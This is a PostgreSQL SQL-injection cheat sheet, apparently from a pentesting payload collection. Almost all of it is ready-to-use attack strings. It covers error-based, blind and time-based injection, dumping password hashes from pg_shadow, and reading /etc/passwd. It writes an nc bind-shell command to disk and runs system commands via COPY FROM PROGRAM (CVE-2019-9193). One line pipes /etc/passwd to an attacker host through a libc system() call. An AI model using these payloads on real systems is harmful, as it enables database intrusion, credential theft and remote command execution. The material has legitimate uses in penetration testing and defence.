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PostgreSQL injection

Summary

PostgreSQL Comments
PostgreSQL version
PostgreSQL Current User
PostgreSQL List Users
PostgreSQL List Password Hashes
PostgreSQL List Database Administrator Accounts
PostgreSQL List Privileges
PostgreSQL Check if Current User is Superuser
PostgreSQL database name
PostgreSQL List databases
PostgreSQL List tables
PostgreSQL List columns
PostgreSQL Error Based
PostgreSQL XML Helpers
PostgreSQL Blind
PostgreSQL Time Based
PostgreSQL Stacked query
PostgreSQL File Read
PostgreSQL File Write
PostgreSQL Command execution
- CVE-2019–9193
- Using libc.so.6
Bypass Filter
References

PostgreSQL Comments

--
/**/

PostgreSQL Version

SELECT version()

PostgreSQL Current User

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

PostgreSQL List Users

SELECT usename FROM pg_user

PostgreSQL List Password Hashes

SELECT usename, passwd FROM pg_shadow

PostgreSQL List Database Administrator Accounts

SELECT usename FROM pg_user WHERE usesuper IS TRUE

PostgreSQL List Privileges

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

PostgreSQL Check if Current User is Superuser

SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

PostgreSQL Database Name

SELECT current_database()

PostgreSQL List Database

SELECT datname FROM pg_database

PostgreSQL List Tables

SELECT table_name FROM information_schema.tables

PostgreSQL List Columns

SELECT column_name FROM information_schema.columns WHERE table_name='data_table'

PostgreSQL Error Based

,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

PostgreSQL XML helpers

select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.

select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

PostgreSQL Blind

' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1  -> KO

PostgreSQL Time Based

AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL Stacked Query

Use a semi-colon ";" to add another query

http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--

PostgreSQL File Read

select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);

NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of this commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.

CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;

SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data

PostgreSQL File Write

CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';

Or as one line:

COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

PostgreSQL Command execution

CVE-2019–9193

Can be used from Metasploit if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.

DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table

Using libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

Bypass Filter

Quotes

Using CHR

SELECT CHR(65)||CHR(66)||CHR(67);

Using Dollar-signs ( >= version 8 PostgreSQL)

SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$

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